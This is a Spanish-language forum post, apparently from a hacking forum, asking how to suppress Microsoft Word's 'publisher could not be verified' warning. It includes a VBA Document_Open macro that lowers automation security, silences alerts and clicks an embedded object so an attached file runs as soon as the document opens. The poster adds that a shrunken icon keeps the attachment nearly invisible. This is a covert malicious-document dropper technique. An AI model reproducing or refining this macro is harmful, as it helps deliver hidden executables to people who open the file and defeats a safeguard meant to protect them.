Indetectables

Pues eso, a ver si algún alma caritativa save como eliminar el aviso de seguridad que hace word al ejecutar un paquete. Mediante el código que inserto a continuación consigo que al abrir el documento se ejecute el archivo adjunto, pero el aviso de que "no se pudo comprobar el editor" no.

Es curioso porque disminoyendo el tamaño del icono y demás opciones se consigue que el archivo sea prácticamente inapreciable.

El código es el siguiente:

Private Sub Document_Open()
Dim lngAutomation As MsoAutomationSecurity
With Application
lngAutomation = .AutomationSecurity
.AutomationSecurity = msoAutomationSecurityLow
.DisplayAlerts = wdAlertsNone
ThisDocument.Fields(1).DoClick
.DisplayAlerts = wdAlertsAll
.AutomationSecurity = lngAutomation
End With
End Sub

Gracias de todas formas.